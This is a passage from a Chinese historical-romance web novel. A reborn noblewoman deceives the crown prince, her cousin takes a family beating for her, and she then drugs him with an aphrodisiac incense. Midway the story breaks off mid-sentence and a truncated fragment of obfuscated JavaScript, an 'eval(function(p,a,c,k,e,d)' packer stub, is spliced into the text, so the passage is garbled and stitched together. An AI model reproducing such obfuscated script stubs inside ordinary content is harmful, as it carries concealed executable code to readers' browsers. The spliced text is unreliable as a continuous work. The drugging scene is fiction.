沈衔月昨晚做梦了,她想起梦中种种,不由得红了脸,她轻咳一声,方问。 “什么事?” “姑娘不是让我找翡翠打探消息吗,昨儿夜里,她偷偷来见了我。” 沈衔月脚下一缓,“她怎么说?” “听翡翠说,燕王妃在老夫人跟前提了一嘴,说是姑娘年纪也不小了,之前耽搁在外头,错过了议亲的好时候,如今既然回来了,不妨为姑娘说门亲事,等姑娘嫁了人,也为燕王府多添一份助力,昨天晚上,燕王妃又去了一趟慈安堂,翡翠守在外头,没听清她们说了什么,只听见门开了之后,老夫人说了句再斟酌斟酌。” 沈衔月闻言,脸上浮起一抹浅淡笑意,她就知道,老夫人和燕王妃的突然示好定是别有用心,果然,这就开始在她的亲事上动脑筋了,只是不知道 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翡翠摆摆手,“你先别急着高兴,你可别忘了,表姑娘是王爷的私生女,这样的出身怎么可能嫁给太子殿下做太子妃?不过是个妾罢了,所以老夫人才不愿意,不管怎么说,表姑娘最后都是从燕王府出去的,这不是让咱们燕王府没脸吗。” 莺儿这才反应过来,她啐了一口,“呸,谁家姑娘愿意做妾啊,燕王妃的心思也太过歹毒了,怎么能说出这种话来!老夫人糊涂了,这门亲事做不得呀!” 翡翠拉了莺儿一把,示意她小点声,“老夫人肯定不愿意应承这种事,我听说,这并不完全是燕王妃的意思,而是……”翡翠往天上指了指,“所以老夫人才犯了难。” 虽然翡翠没说,但莺儿也知道,燕王妃是太后娘娘的养女,如此说来,燕王妃的意思或许就是太后娘娘的意思,难怪老夫人眼下乌黑,一看就是昨晚没睡好觉。 这门亲事是太后对燕王的拉拢,更是皇权对臣子的威慑。 无论老夫人愿不愿意答应这门亲事,她都不能在燕王妃的跟前表露出来。 莺儿咬着牙,忿忿道,“欺人太甚!” “别急,老夫人还在犹豫,这门亲事成不成的也不好说,老夫人就算不喜欢表姑娘,也不能不顾及燕王府的名声,你回去和表姑娘知会一声,让她心里有个算计。” 莺儿愣了一下。 翡翠解释道,“燕王府对我有恩,就算我不嫁给你堂兄,我也不愿意看见这种让燕王府没脸面的事儿。” 莺儿感动不已,她握住翡翠的手,“好,我回去和姑娘商量一下,若是有了脱身的法子,我们一定重重谢你。” 这时候,慈安堂里有人喊翡翠的名字,翡翠说了句“不用谢”,就匆忙离开了。 另一边。 莺儿扶着沈衔月回了梨花苑,路上,她将从翡翠那里听来的话一五一十地向沈衔月说了,沈衔月听了敛眉不语,莺儿瞧着沈衔月淡定的表情,急地直跺脚。 “姑娘你倒是说句话呀!” 沈衔月想了想,问道,“你没听岔吧?是太子殿下,不是三皇子?” “三皇子?这件事和他有什么关系?” 沈衔月松了口气,不管怎么说,只要这个人不是李元彻,就还有转圜的余地,“没事,对了,今早去慈安堂请安的时候怎么没瞧见表兄?” “世子要招待从长安来的贵客,一大早就出去了,所以才没去给老夫人请安。” 沈衔月认真想了一会儿,心里忽然有了个好主意,“莺儿,你一会儿找两套男子衣衫,我们出府一趟。” 莺儿不明就里,“姑娘要去哪儿呀?” “表兄在哪儿招待贵客?” “好像是杏花村吧。” 沈衔月点点头,又问,“离杏花村最近的青楼是哪个?” 莺儿更糊涂了,“姑娘问这个做什么?” “我问这个,自然是有我的用处,你只管告诉我就是了。” “附近最大的青楼应该就是春风馆了。” “这名字起得竟像是读书人的地方。” 莺儿扑哧一声笑了出来,“姑娘这话倒也不错,一个杏花村,一个春风馆,来来往往的客人要么就是正在读书的,要么就是准备考试的,要么就是考完试换上了官袍的,可不正是读书人的地方。” “嗤,那我们今日也做一回读书人。” “姑娘的意思是?” “我们先去春风馆,再去杏花村。” 16. 春风馆 十六、春风馆她忽然有点心疼他 春风馆。 灯烛曳彩,珠帐垂影,丝竹管弦,不绝如缕,酒气氤氲着胭脂水粉的香味,在春风馆的空气中弥漫开来,即便是在白日里,春风馆也是一派纵情歌舞的声色景象。 欢愉在今昔,醉生亦梦死。 沈衔月墨笠束冠,素纱遮面,虽是寻常打扮,却也掩盖不了她周身的贵气,才一出现就吸引了众人的目光,春风馆的杨妈妈一眼就瞧出这人来头不简单,她还以为是谁家的小公子,于是赶紧迎上前去。 “客官是吃酒还是留宿呀?” 沈衔月轻轻一笑,“我来寻人。” 杨妈妈听到她的声音,这才意识到她竟是个女子,她端详了沈衔月一阵,摸不准沈衔月的来意,于是斟酌着说,“不好意思啊,我们这里不接待女客的。” 沈衔月知道杨妈妈在担心什么,“别紧张,我不是来捉奸的。”她从袖中取出一枚荷包,塞到了杨妈妈手里,“男客女客都不要紧,要紧的是能赚到钱,您说是吗?” 杨妈妈将信将疑地打开荷包,立时瞪大了眼睛,她经营春风馆多年,什么样的客人没见过,什么样的事情没经过,可是一个年纪轻轻的女子独自一人来逛青楼,出手还如此的阔绰,她真是头一回遇到。 杨妈妈犯了难,“钱是好东西,可姑娘不说清楚想做什么,我也不敢收啊。” “我要十个春风馆的花魁,她们的容貌、身段、才艺,样样都要好,我一不吃酒,二不听曲,三不过夜,杨妈妈只要让我和她们聊上两句,这笔钱就归你了。” 杨妈妈掂了掂荷包,这桩生意怎么看都是自己合适,春风馆是做生意的地方,这么划算的生意断没有不做的道理。 杨妈妈思虑再三,还是答应了下来,“成,姑娘稍坐,我这就给姑娘找人去。” 没过一炷香的工夫,杨妈妈就领着十二个貌美姑娘过来了,她弯腰陪笑。 “客官,我怕我选的人不合你的心意,就多挑了两个,你们慢聊,慢聊哈。” 沈衔月颔首微笑,“有劳了。” 雅间布置精致,案上的错银梅纹铜炉中焚着风靡一时的沉水香,她的目光在十二个女孩的身上扫了一圈,心说不愧是销魂窟里的人,只消往那儿一站,就自带一股风流韵致,她从中挑出三个和自己身量差不多的,又问了她们几句话,最终选中了一个名唤折柳的女孩子。 沈衔月留下折柳,让杨妈妈把剩下的人带了出去,杨妈妈并未离开,她扒着门缝,努力想听清楚里面说了些什么,可她听了半日,也没听见一点声响,她不死心,又把耳朵往门上凑了凑,不料下一刻门开了,她没站稳,径直栽了进去。 折柳唬了一跳,连忙扶住她。 “您老人家没事儿吧?” 杨妈妈臊得红了老脸,她一面拍落衣摆上的灰,一面摆手,“没事儿没事儿。” 沈衔月看破不说破,只微微一笑,“杨妈妈,我和折柳相谈甚欢,想请她出去吃顿饭,不知道可不可以。” “嗐,这有什么的,姑娘要是乐意,别说一顿饭,就是一整晚也行啊。” “那就多谢杨妈妈了。” 一时,沈衔月带着折柳往门外走。 杨妈妈揉着摔疼了的膝盖,拧眉看着沈衔月的背影,不住嘀咕。 “怪事,真是怪事,我只听说过有些纨绔子弟癖好特别,喜欢样貌清俊的男孩子,却还是头一次见着有钱人家的女子来逛青楼找乐子的,现在这帮年轻人啊……” * 杏花村。 沈衔月凭阑眺望远近的曲复幽槛,默然不语,她从折柳的口中听到了许多从前没有听过的事情,江南这片土地并没有看起来那么安逸,十里扬州梦,半纸关山血,百余年间的历史迷雾迭迭,上一世的兵变历历在目,她不知道这一切背后究竟掩藏着怎样的秘密。 沈衔月想起那夜佛堂,时倾尘说—— “我这一生背负了太多,我不可能爱上任何一个女子,我与你之间只有兄妹之情,也只能有兄妹之情。” 她忽然明白,他并不是不爱她,而是这样的小情小爱太过单薄,他真正爱的是这片河山,她上一世爱他,后来因为爱而不得恨他,而这一世,她忽然有点心疼他。 她从未懂过他…… 少顷,小二引了太子李元洵过来。 沈衔月从春风馆出来之后,就换上了女儿家的衣裳,乌发披肩,流苏逶地,俨然是一副青楼女子的打扮。 太子上上下下打量了沈衔月一阵,她的脸上蒙着一层碎金面纱,他看不清她的容颜,却依旧能从她的举手投足间感觉到她的倾国之姿。 “姑娘找我有什么事吗?” “太子殿下大祸临头,我,想要救你。” “救我?呵,姑娘好大的口气。” 太子微一挑眉,继而轻笑出声。 他的目光从她的身上挪开,望着窗外的旭日朝晖出神,阳光下的纤尘漫舞,溶作一团团光晕,漾在她的碎金面纱之上。 “怎么,太子殿下不信我吗?” “既然姑娘说要救我,不妨说一说,我会遇到什么危险,姑娘又打算如何救我?” 沈衔月拢袖抬腕,斟了半盏真如茶,她的声音浸润着茶香,清冽、甘甜,“如果我没猜错的话,殿下此行是为了建安盟而来吧,只可惜,殿下注定要无功而返了。” 太子听见“建安盟”三字,握盏的手不觉一顿,“你是何人?为什么会知道这些?” 沈衔月知道他不会轻信,所以早有准备,“我是春风馆的姑娘,春风馆每日来来往往的客人无数,我难免比旁人多听一些,多看一些,太子殿下听过秦楼楚馆中传唱的一句歌谣吗,有道是‘胭脂水粉文臣泪,红绡帐里英雄血’。” 太子呢喃了一遍,轻叹,“不错,胭脂水粉文臣泪,红绡帐里英雄血,当年燕北十六州失陷沦丧,燕王麾下将士一路溃败,沿途城池百姓血流成河,人们都说燕王是为了保护一个青楼女子,所以才放弃了大徵的燕北十六州,这是燕王的耻辱,也是大徵的耻辱。” “太子殿下相信这个传言吗?” “信如何,不信又如何,真相有那么重要吗?” 沈衔月眸光微动,她曾经因为这句歌谣,认为燕北十六州的失陷沦丧和燕王有着脱不开的关系,因此上一世,她一直对江南一带的燕王后人怀有敌意,可是这一世,她机缘巧合,来到了江南,在这里,她听到了许多不一样的说法。 什么是真? 什么是假? 她不知道。 她看不清长安万千灯火的明灭,看不清江南云雾缭绕的山峦,同样也看不清燕北埋葬在黄沙白骨之下的滚滚红尘。 潇湘水云何所蔽,一蓑烟雨任扁舟。 她渐渐明白了时倾尘的执念,明白了他为什么会因为一首曲子慷慨涕下。 那是背负骂名的不甘,那是山河沦丧的悔恨,那是身为燕王后人,身为大徵子民的誓死不忘,矢志不渝。 沈衔月轻启朱唇,“燕王守卫大徵江山百余年,何故为了一个女子,断了大徵百年基业,毁了先祖几世威名,太子殿下,您不觉得这其中有蹊跷吗?” “姑娘,我们还是说回眼前事吧。” 沈衔月看见他闪躲的目光,陡然提高了音调,“不说过往,谈何眼前?若没有燕北十六州的失守沦丧,又怎么会有建安盟的绝踪灭迹?建安盟曾与皇族缔结生死,皇族为建安盟提供大徵境内所能提供的一切,而建安盟则为皇族监观四方,探察毫厘,网络天下情报,巩固王业永兴,然而,在燕北十六州失守之后,建安盟就仿佛从这个世上消失了一样。” “姑娘似乎对这段历史颇为熟悉呀。” “举国蒙耻之事,焉能不熟?” 太子的脸上渐次浮出一抹惭色,他抬抬手,示意沈衔月接着说。 沈衔月却不说了。 “茶斟半盏,话说一半,姑娘这样是不是不大好?” “水满则溢,与人相交,最忌交浅言深,殿下对我不是也有所隐瞒吗?” 太子没料到她会如此说,他微微后仰,凝视了她许久,“姑娘究竟想说什么?” 沈衔月迎着他的目光,勾唇一笑,“小女子对殿下仰慕不已,他日殿下荣登大宝,若能在后宫为小女子留有一席之地,小女子自当知无不言言无不尽。” 太子听她如此说,心里紧绷的弦一下子放松了下来,他身居高位,投怀送抱的美人不在少数,她的话,他自然是信的。 “好啊,允仪愿听姑娘一言。” “太子殿下有没有想过收复燕北十六州?太子殿下出身高贵,是继承储位的不二人选,可一年之后蛮夷入境,太子殿下领兵出征却大败而归,这一仗,太子失了民心,更失了君心。” “一年之后?”太子不由得皱了皱眉,“你怎么会知道一年之后的事情?” 沈衔月当然不会说自己是重生过来的,更何况,她还不知道自己的死因究竟和他有没有关系,今日她来找他,不过是围魏救赵,让他断了纳自己为妾的念想。 “我会观相断事,卜卦问天,太子殿下命犯七杀,若逢印绶,定成杀印相生的大吉之局,反之,恐有性命之忧,太子殿下相不相信都无所谓,一年之后,一切自有分晓,我同太子殿下说这些是因为仰慕太子殿下的高名,大祸就在眼前,太子殿下若想自救,合该早觅出路,夺回燕北十六州,重塑大徵的天堑屏障。” 太子原本是不信的,可他见她神情笃定,言辞缜密,也不由得将信将疑起来,毕竟对于皇室中人,一向是敬鬼神而不敢妄言的,就连他的父皇都会祷告神佛,祭祀先祖,更何况是他了,他敛了敛衣襟,恭敬欠身,“依姑娘之见,我该怎么办?” 沈衔月忍住笑,继续说道,“太子殿下之所以远赴江南,正是因为缺少威慑朝野的势力,所谓杀印相生,不过是一文一武罢了,论文,朝中卿相都不如沈太傅德高望重,既然寻不到建安盟的下落,太子殿下何不与沈太傅缔结秦晋之好?” “不瞒姑娘,我原本就是这么打算的,只可惜太傅之女在疯了之后下落不明。” 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈衔月擅自出府,坏了规矩,她才进燕王府的大门,早有府里的耳报神去禀告了慕容嫣,慕容嫣正想着寻她的错处,闻得此言,大喜过望,立刻跑到了慈安堂告状,又添油加醋说了好多不堪入耳的话。 老夫人不相信慕容嫣的一面之辞,派人将沈衔月叫了过来。 沈衔月眉眼微垂,恭敬行礼,“祖母。” “梨容,你今日出府干什么去了?” “回祖母,没干什么,随便逛逛。” 慕容嫣挑眉,“逛逛?可我怎么听说,容大姑娘逛着逛着就逛到青楼里去了呢?” 老夫人把脸一沉,“梨容,可有此事?” “祖母,我再如何不懂事,也不至于犯下此等大错。” “不承认?好啊,你不承认我也有法子让你承认。”慕容嫣拍了拍手,门外立时进来两个仆僮,“说,你们今天跟着表姑娘出府,都看见了什么,听见了什么。” 两个仆僮异口同声,“今日表姑娘一出门就换了男子衣衫,往,往……” 慕容嫣瞧着他们吞吞吐吐的样子,不耐烦道,“往哪儿去了你们倒是说啊!” 两个仆僮把头埋在了地上,磕磕巴巴地说,“表,表姑娘去了春风馆。” 沈衔月跪在一旁,耳根都红了,她没想到慕容嫣盯得这般紧,真是失策啊。 老夫人重重拍了一下桌案,怒道,“梨容,他们说的可是真的?” 沈衔月咬着唇。 这件事她不能认。 认了,指不定要掀起多大的风浪。 慕容嫣眼尾挑着得意的笑,“母亲,你瞧她心虚的样子,分明就是做了错事还不敢承认!想也是,她本来就是那样一个出身,做出这种事来也就不足为奇了。” 老夫人强压怒火,厉声斥责,“梨容,我再问你一遍,你究竟去没去春风馆?” “我没有。” 慕容嫣一扬眉,“来人,带莺儿。” 沈衔月心中一惊,“你要做什么?” “不管怎么说,你都是燕王府的主子,你就算不认,也不能让下人对你用刑,那就只能拷打你的侍女了,我就不信她能扛得住府中的这一百八十道刑罚。” 说话间,立刻有人拖了莺儿去行刑。 沈衔月听见莺儿的哭喊声,心下钝痛,她蓦然想起上一世冰儿死时的景象,无论如何,她都不能牵累别人,她挺直脊背,高声道,“不必审了,我认就是。” 老夫人猛地摔碎了案上的茶盏,“混账!梨容,你知道你犯了多大的错吗!” “祖母息怒,是我错了,无论什么惩罚,我都接受,只求祖母不要牵连无辜。” 老夫人被她气得说不出话来,半晌,才从齿缝间挤出一个“好”字。 慕容嫣得意非常,试探着问,“母亲,你看这件事,该如何处置?” “国有国法,家有家规,按规矩办!” 沈衔月此刻还没有意识到事情的严重性,直到她看见两个仆僮拿着三尺五寸的荆条大板冲自己走过来的时候,她才慌了。 不是吧…… 这不是王府吗…… 怎么比军营还恐怖…… 燕王府祖祖辈辈治家严苛,家法有如军法,即便是姑娘家犯了错,也绝不手软。 沈衔月在太傅府中长大,从小到大无论犯了多大的过错,也不过是数落两句,哪里见过这么彪悍的家法,眼看那板子就要打在自己身上,她下意识闭紧了眼睛,却并未感受到随之而来的疼痛,她茫然地抬眼,却见一人抬臂为她挡下了那块板子。 17. 半盏月 十七、半盏月强吻 这个人,是时倾尘。 行刑的人事先得了吩咐,下手极是狠厉,力道溢出木板,当空掠起一声锐鸣。 时倾尘的青玉发冠被板子震落,顷刻间,如墨似瀑的发丝逸散在淡金色的风中,他依旧沐着一袭白衣,板子落下的地方依稀可见一抹漫延开来的猩红。 仆僮大惊失色,忙不迭跪下请罪,“小人该死,小人该死,世子殿下恕罪。” 时倾尘不理会,他第一眼看向沈衔月,在确定她没有受伤之后,他悬着的心终于放了下来,他眉眼淡淡,拱手行礼。 这一动,他才感觉到胳膊上的疼痛。 老夫人平素最疼爱这个孙子了,此刻见他受了伤,又急又怒,骂道,“你们下手有没有个轻重!也不看清楚了就打!” 仆僮不敢吱声,只把头磕得砰砰响。 沈衔月抬眸望着他,心中涌起了一股复杂的情感,她想起上一世,皇帝渐次疏远了沈家,她莽撞无知,借着三皇子未婚妻的身份跑进皇宫,试图为自己的父亲辩护,可却被侍卫拦在门外。 那日下了大雨,她一个人走在禁苑的青砖石板路上,被漫天大雨浇了个透。 朦朦雨雾中,一顶轿辇在御道上行走,甚是惹眼,按规矩,若非有着托孤之恩的老臣,是绝不敢如此张狂的,她站住脚,揣测轿内坐的究竟是何许人也。 轿子停了下来。 里面的人掀起帘子一角,隔着雨幕仔细端详着她。 那人的脸容掩藏在阴影里,沈衔月看不清他的模样,只瞧见拨开轿帘的那只手白皙修长,腕子上还戴着一串绛朱色的檀香珠,看样子,不像是上了年纪的人。 她默默思忖,这个人会是谁呢? 须臾,那人撂下帘子,转头向车夫吩咐了一两句,车夫便拿着一把青竹伞向她跑了过来,她怔怔地望着那顶轿子,忘了接伞,车夫只得将伞塞进她的手里。 “姑娘留着避雨吧。” 烟雨泼墨,轿子越行越远,似乎是往东宫的方向去了。 沈衔月撑伞回了太傅府,事后,她派人去打听今日有什么人进宫,却没打听出个所以然,她又派人去问,今日太子殿下是否在宫中,可得到的消息是,太子数日前便启程前往江南了,至今未归,再后来,她的父亲屡遭贬斥,她心中烦忧,也就慢慢把这件事丢开手了。 这件事太过微小,比起后来发生的一切简直不值一提,沈衔月都快要把这件事忘记了,可是方才的那一刹那,时倾尘抬手行礼,她清楚地看见,他的手腕上赫然露出了一寸冰梅纹的绛红檀珠,模糊的记忆骤然浮现,难道,他就是那个人? 沈衔月心中疑窦丛生。 即便时倾尘是燕王府的世子,他也不该在长安的皇宫中这般放肆,她不知道,他的身上究竟还藏着怎样的秘密?这个秘密又和永宁十年的兵变有着怎样的关系? 时倾尘声音一如既往的平静淡然,“小伤,不妨事的,祖母莫要挂在心上。” 慕容嫣没想到会伤到时倾尘,唬了一跳,她绞着帕子吩咐,“快!请郎中过来!” 时倾尘叫住了应声而去的仆僮,“不必麻烦,我一会儿回听澜苑上点药就好了。” 说罢,时倾尘掀袍坐下。 他的目光扫过跪在当地的沈衔月,微微一顿,他拢了拢衣袖,轻描淡写地说,“表妹也先坐吧,来人,挪把椅子过来。” 两个仆僮愣了一下,他们偷偷瞄了一眼老夫人,见她没有反对的意思,这才搬了把椅子,恭恭敬敬请沈衔月坐了。 “一早去了杏花村,没能来慈安堂给祖母请安,这不,特意来给祖母赔罪,不巧遇到了表妹在这里受罚,不知道表妹犯了什么过错,连家法都惊动了。” 老夫人提起这个就生气,她冷哼一声,“嫣儿,你来说。” 慕容嫣不明白时倾尘为什么会管沈衔月的事儿,“不怪你祖母生气,你这个表妹也太不像话了,一个未出阁的姑娘去逛青楼,这不是给我们燕王府丢人吗!” 沈衔月抿了抿唇,心虚地看他一眼,见他神色如常,不见半点情绪上的起伏。 “如此说来,就更不能罚她了。” 老夫人皱眉,“为什么?” “祖母细想,表妹自从入府,还从未在外人跟前露过面,她今日虽然去了青楼,但知道这件事的人少之又少,可要是祖母今日重重惩罚了她,万一传了出去,燕王府外的人难免议论纷纷,届时,大家就都猜到去青楼的那位女子是她了,这不是更有损燕王府的颜面吗?” 老夫人犯了难,她觉得时倾尘的话不无道理,可是沈衔月此举太过胆大妄为了,不罚沈衔月,她心里终归过不去,还有最关键的一点,她不明白时倾尘为什么要管这档子闲事儿。 慕容嫣脸色难看,“总不能不罚。” 时倾尘唇角轻扬,“自然要罚,不光要罚,还要重罚,只不过,我们要以别的名义罚她,这样传出去才不会招惹闲话。” …… 沈衔月无语。 她本以为他是来帮自己的,没想到他居然不怀好心,火上浇油,她暗骂,时倾尘你会不会说话啊,不会说话就闭嘴! 老夫人没料到他会这么说,不由得愣了一下,“那,你觉得应该怎么办?” 时倾尘从怀中取出一把如意云纹纨扇,扬手递给沈衔月,“表妹,撕了它。” 沈衔月不解地抬眸看他,他的眼睛漆黑深邃,沐浴着太阳的光泽,浸润着月色的清朗,她几乎要陷进去了,他微微一笑,冲她点点头,似乎在说,放心。 她接过纨扇,一把撕碎。 慕容嫣不解地问,“这扇子是?” “回母亲,这把扇子乃是御赐之物,上面书有圣上亲笔提的御诗,是圣上赏给三皇子的生辰礼,三皇子今日转赠给我,他约我旬日后同他一起回长安宴饮,此扇,乃是赴宴信物。” 慕容嫣听了这话,脸色大变,“御赐之物岂可轻易损坏,尘儿你!”她太过激动,唇瓣哆嗦个不停,却一句话也说不出来。 沈衔月的嘴角抽了抽。 御赐……之物…… 她捏着撕碎的扇子边缘,肠子都悔青了,她咬着牙,默默把自己骂了个狗血淋头,沈衔月啊沈衔月,你是不是蠢?他说什么你就信什么?这回好了,原本不过是几板子的事儿,可现在呢,这么大的罪名扣在了自己头上,还不得要了自己的小命? 老夫人皱了皱眉,她若有所思地看着时倾尘,等着他的下文。 时倾尘拱手道,“损坏御赐之物乃是大罪,请求祖母重罚梨容,杖责八十。” 沈衔月倒吸一口凉气。 夺少? 八十? 她欲哭无泪,那还不如一板子把自己打死,也省得遭后头的罪了。 慕容嫣被时倾尘的话吓了一跳,这下手也太狠了吧,她虽然想要惩处梨容,但也没想着要梨容的命啊,八十板子下去,一个寻常男子都不一定能留一口气在,更别说一个闺阁女子了,她思忖着说,“八十大板会不会太重了?传出去也不好听啊。” “母亲所言甚是,所以这八十大板,我来替她领受。”他话锋一转,掀袍跪下,“请求祖母责罚孙儿,不如此,不足以平息圣怒。” 慕容嫣瞠目结舌,“这如何使得,尘儿你不要胡说,此事和你无关,你快起来。” 时倾尘却不起身,他抬眸,望着端坐堂上的老夫人,“祖母应该明白,忤逆圣意是多大的罪过,这件事,只能如此解决。” 他跪在当地,声音铮铮,仿佛即将受罚的不是自己,而是别人。 老夫人默了半晌,她明白,时倾尘此举绝不是为了梨容,或者说,不仅仅是为了梨容,所谓圣意也绝不是一把题有御诗的纨扇,这些日子江南看起来风平浪静,可在水面之下早已是波涛汹涌,千浪迭起,先是太子李元洵跑来江南寻找建安盟的下落,还提出要纳梨容为妾,而后三皇子李元彻又邀请时倾尘前往长安,只身赴宴,这是皇族的拉拢,更是皇族的试探。 时倾尘此去,很有可能再也回不来。 他不能去,这招苦肉计,一解鸿门之局,二解时家之围。 老夫人心情复杂,敛眉不语,她出身钟鸣鼎食之家,年少时又嫁入了燕王府,这一辈子经过的风浪不少,生离死别,兴衰荣辱,于她而言,都是再寻常不过的事情,她何尝不明白时倾尘的用意所在,可她看着时倾尘,心底还是泛起了一丝不忍。 时倾尘见状,叩首一拜。 “还望祖母顾全大义,重责孙儿。” 老夫人阖上眼睛,缓缓吐出两字。 “打吧。” 在场之人一动也不敢动,时倾尘在燕王府是个怎样的存在,他们再清楚不过了,就是给他们一百二十个胆子,他们也不敢对世子殿下动手啊。 时倾尘轻咳一声,“祖母说打,你们都没听到吗?还不动手?” 一语落地,周遭还是死一般的寂静。 时倾尘扫视一圈,瞧见他们畏畏缩缩后退的模样,知道没有一个济事的,无奈之下,他唤来凤箫,“凤箫,你来行刑。” 凤箫双唇微动,欲言又止,他不愿意接这个差事,他跟了时倾尘多年,怎么忍心动手,可于他而言,时倾尘的吩咐不容反驳,他看着时倾尘不容置疑的眼神,终于还是拿起板子,狠心打了下去。 一下……两下…… 时倾尘始终一声不吭。 虽然凤箫努力控制着手上力道,可八十板子下去,任谁都不可能毫发无损。 沈衔月凝视着时倾尘苍白的脸颊,心里火辣辣的疼,板子落在了他的身上,也打在了她的心上。 打到第三十二下的时候,老夫人终于耐不住了,她霍地站起身来,喝命。 “不必再打了!” 时倾尘薄唇轻启,“祖母。” 老夫人口吻强硬,“够了,燕王府再如何落魄,也不至于此,速去请郎中。” 凤箫巴不得一声,立刻掷了板子,扶着时倾尘起来。 慕容嫣啐道,“糊涂东西,都打这样了还能走道吗!你们几个,赶紧搬一张藤床过来!” 几个仆僮忙不迭去了。 时倾尘额角渗着冷 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老夫人看了眼她,又看了眼时倾尘,略一点头,“去吧。” 沈衔月经过时倾尘身侧的时候,轻声道,“谢谢你。”她顿了顿,“时倾尘。” 时倾尘眼眸深处泛起一丝波澜。 她唤的不是血亲之情的“表兄”,也不是兄友之义的“天澜”,而是“时倾尘”。 “时”是他的姓。 “倾尘”是他的名。 直呼一个人的名姓,要么深恶痛绝,要么形同陌路,要么至亲至爱。 时倾尘望着她。 她会是哪一种? * 听澜苑。 庭下积水空明,月华微漾,风过处,拂落一池婆娑花影。 时倾尘给自己的伤口敷了药,此刻药迹未干,他披着衣裳,席地而坐。 竹影摇曳,他抬眼,凝视着明瓦上映出来的那一抹倩影,她站在他的门外,抬了抬手,似乎想要叩门,须臾,又放下了。 他望着她踌躇不决的样子,唇角不自觉上扬,这个表妹,有点意思。 时倾尘轻声开口,“有什么事吗?” 沈衔月听见他的声音,微微一怔,她回首,看见了青石台上的他,“你在这儿?” 他笑了笑,“不然呢?” 她想到自己方才的忸怩都落在了他的眼里,脸忽然就红了,她默默安慰自己,幸而天黑了,倒也瞧不真切。 沈衔月拨开竹叶,一步步走到他的面前,暗香疏影,月华微漾,她穿着一袭郁金香染缬抹胸千褶裙,单丝罗银纹披帛,行动时,腰间的流苏玉环绶玲玲作响,音韵入风,清脆琳琅,似是大珠小珠落幽潭,又似松叶萧萧鸣山涧。 时倾尘坦然地看着沈衔月,她很美,但在某种意义上,这已经和他再无干系,自从他从“建安盟”得到沈衔月确为梨容的消息之后,他对她便已断了男女之念,思慕之情,那夜凤箫走后,他在冰水中待了一整晚,水很凉,夜很冷,他由着刺骨恶寒席卷全身,彻及心脉,只有这样,他才能短暂忘掉心底不为人知的酸涩。 沈衔月望见他眼底的疏离,微有疑惑,她以为他在慈安堂出手相救,是因为爱上了自己,至少,他对自己应该是有几分喜欢的,可是这一刹那,她又有些不确定了,她深吸一口气,试探着问,“为什么要救我?不要告诉我,你使出这招苦肉计,是为了不去长安赴宴。” 时倾尘微一挑眉,“为什么不?” “如果真是这样,你大可以散出消息蒙骗外人,何必真的折损自己?” “嗤,你既然想到了这一层,便是个聪明人了,你既然是个聪明人,又怎么会不明白,做戏要做全套,再说了,这点皮肉之苦,又算得了什么?” 沈衔月咬着下唇,努力让自己的声音听起来还算平静,“就没有别的原因吗?” 时倾尘沉默了一下,半晌,他抬眸凝视着她的眼睛,轻声道,“当然有。” 沈衔月走近一步,“是什么?” 风吹乱。 半片痕。 在她期待的目光中,时倾尘轻轻开口,声音如玉寒凉,“因为我想保护一个人,这个人,就是你。梨容,我们身上流着共同的血液,我们都是时氏一族的儿女,我会护你一世的。” 他顿了顿,补充说,“以兄长之名。” 沈衔月勾了勾唇,似是嘲弄,“好,我明白了,不过在此之前,我要做一件事。” “什么事?” 她没有说话,而是径直向他走了过去,醉人的香气越来越近,他有一瞬间的失神,清辉澄澈竹沧澜,花影斑驳月婆娑,她的脸庞细若白瓷,灿若流霞,颊侧晕开一抹少女的娇羞。 他忽然猜到她要做什么,神色几变,试图阻止她,却被她直接扑倒在草丛间。 …… 她在他开口之前,吻了上去。 …… 半盏春信半盏月。 …… 半江花香半江情。 …… 18. 跌入怀 十八、跌入怀衣衫半落 风起,美人蕉的枝桠乱颤,花梢洒落冷白的光,在她的青丝间拢上半抹昏黄,月色依稀,她的眼尾处晕染着湿润的红,脉脉情意,欲说还休,尽入他的眼底。 草地柔软,她的身体更软。 空气中萦绕着一缕若有若无的幽香。 时倾尘微微皱眉,这不是寻常香料的味道,这是一种很独特很奇异的香气,他的心跳不自觉加快,呼吸也越来越急促,他蓦地攥住她的手腕,“这是什么香?” 沈衔月莞尔一笑,她顺着他的力道,跌入他的怀里,“你猜猜。” 时倾尘几乎要被这香蛊惑了心智,他的喉结轻轻滚动了一下,抬眼望见她的笑靥,忽然意识到了这是什么东西。 她的红唇鲜艳欲滴,含苞待放,仿佛在说,“来呀~” 他不敢置信地挑眉,“你对我用迷香?” 她点头,唇角勾起一丝轻轻浅浅的笑,“此香名唤南朝遗梦,男女之间,愉情怡性,最是相宜。” “南朝遗梦?你是不是疯了?!” “或许吧。” 沈衔月纤长的羽睫微垂,月华流过美人蕉的间隙,倾泻而落,投下斑驳光影,她清楚地看见,他的指尖攥紧衣角,向内蜷缩,似乎在忍受着莫大的屈辱。 她忽然觉得有点好笑,她还是第一次看见他如此狼狈的模样,他衣衫半落,白皙修长的脖颈裸露在夜色中。 很美。 时倾尘薄唇紧抿。 她太香了,他敛息屏气,把头偏往另一侧,尽可能不去看她,于是,她借着朦胧月色,瞧见他耳后落着一粒小小的朱砂痣,和她手臂上的一模一样。 沈衔月眉心微蹙。 这是……守宫砂? 她低头细看,三千青丝滑落她的肩头,沿着他的颈侧泛起一阵阵酥痒。 他恨恨地咬牙,“梨容!你有完没完!” 沈衔月费解地看着时倾尘,虽说男女欢好,各得其乐,可贞洁一向是女子最为在乎的,因为一晌贪欢过后,男子不必承担任何责任,婚姻也好,妊娠也罢,他们往往只顾自己一时痛快,女子则是吃亏的一方,万一闹将起来,不知道要承受多少莫须有的闲言碎语。 因此未出嫁的女子会在手臂上点一颗守宫砂,以此自证清白。 可沈衔月还是第一次瞧见一个男子有守宫砂的,他就这么在乎自己的贞洁吗? 她扑哧一声笑了出来,“你的身上为什么会有守宫砂?” 他皱眉,“你说什么?” 她的葇荑落在他耳后的那粒朱砂上,轻轻一按,“我说,你为什么会有守宫砂?” 她的指尖如冰寒凉。 他的肌肤如火炽热。 他动了动唇,“我听不懂你在说什么。” 沈衔月打量着时倾尘,看他的神情不似说谎,这粒守宫砂点在他的耳后,若非同床共枕之人是绝对瞧不见的,他贵为燕王府世子,身边又有人服侍护卫,有谁敢在他不知道的情况下做出这种事来,那么,真相只有一个,这颗守宫砂是他尚在襁褓之时就落下的。 沈衔月托着腮,陷入了沉思。 这颗守宫砂会是谁的授意呢?燕王?老夫人?还是那位已经过世的燕王妃? 